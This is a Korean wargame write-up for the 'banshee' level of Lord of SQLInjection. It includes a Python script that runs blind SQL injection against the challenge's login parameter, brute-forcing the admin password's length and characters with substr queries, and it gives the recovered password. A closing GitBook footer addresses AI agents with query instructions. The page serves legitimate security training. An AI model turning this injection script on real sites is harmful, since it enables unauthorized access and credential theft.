> For the complete documentation index, see [llms.txt](https://docs.cooku222.kr/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-banshee.md).

# \[Lord Of SQLInjection] banshee

<figure><img src="https://blog.kakaocdn.net/dna/Cc20j/btsNDq4CCpF/AAAAAAAAAAAAAAAAAAAAANk_4-QsjfoBxEHMkBAvpfTkI4H2aRdaf9WMeZB-Zm3i/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=vcsXcQh9YagIGcpX4grvMB58%2Bho%3D" alt="" height="304" width="535"><figcaption></figcaption></figure>

#### 특징

* pw에서는 sqlite, member, \_를 대소문자 구분 없이 필터링 처리함.
* pw파라미터에 인증 우회 구문을 넣는 시도를 한다.

```
import requests

flag = ""
length = 0

url = "https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php?pw="
session = dict(PHPSESSID = "YOUR SESSION ID")

print "[+] Start"

print "[+] Find length of the password"

for i in range(0, 20):
	try:
		query = url + "1' or id='admin' and length(pw)=" + str(i) + " -- "
		r = requests.post(query, cookies=session)
	except:
		print "[-] Error occur"
		continue

	if 'login success!' in r.text:
		length = i
		break

print "[+] Found length : ", length

print "[+] Find password"

for j in range(1, length + 1):
	for i in range(48, 128):
		try:
			query = url + "1' or id='admin' and substr(pw, " + str(j) + ", 1)='" + chr(i)
			r = requests.post(query, cookies=session)
		except:
			print "[-] Error occur"
			continue

		if 'login success!' in r.text:
			flag += chr(i)
			print "[+] Found " + str(j), ":", flag
			break

print "[+] Found password : ", flag
print "[+] End"
```

* 1' or id='admin' and length(pw)=1 형태의 쿼리를 입력 해 pw 의 길이를 파악 가능
* pw를 한 글자씩 찾는다
  * blind injection (여태 사용한 방식과 같음)
  * substr(pw, 1, 1)='a' 의 쿼리를 사용
  * 출력 값이 곧 pw 값

#### &#x20;

#### URL

```
[도메인 값]?pw=0313091b
```

<figure><img src="https://blog.kakaocdn.net/dna/VOOG0/btsNEFsXBjS/AAAAAAAAAAAAAAAAAAAAAO-5-grtaj4lrsLoDFbfL0jumh1OXbuT612uLlRMcKo7/img.png?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&#x26;expires=1782831599&#x26;allow_ip=&#x26;allow_referer=&#x26;signature=WMvN%2B4wWkAlv6WJB8pWZ97fssQ8%3D" alt="" height="442" width="638"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.cooku222.kr/security/web-hacking/lord-of-sql-injection/lord-of-sqlinjection-banshee.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
